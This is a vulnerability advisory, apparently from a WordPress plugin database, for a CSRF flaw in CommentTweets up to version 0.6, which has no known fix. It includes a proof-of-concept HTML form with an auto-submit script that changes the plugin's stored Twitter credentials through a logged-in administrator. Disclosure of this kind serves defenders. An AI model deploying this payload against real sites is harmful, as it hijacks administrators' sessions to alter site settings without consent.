WordPress Plugin Vulnerabilities

CommentTweets <= 0.6 - Settings Update via CSRF

Description

The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

Proof of Concept

<form action="https://example.com/wp-admin/options-general.php?page=commenttweets%2FTwitterCommentNotification.php" method="POST">
    <input type="text" name="twitterlogin" value="aaa">
    <input type="text" name="twitterpw" value="bbb">
    <input type="text" name="submit-type" value="login">
    <input type="text" name="submit" value="save login">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-12-10 (about 5 months ago)
Added
2023-12-16 (about 4 months ago)
Last Updated
2023-12-16 (about 4 months ago)

Other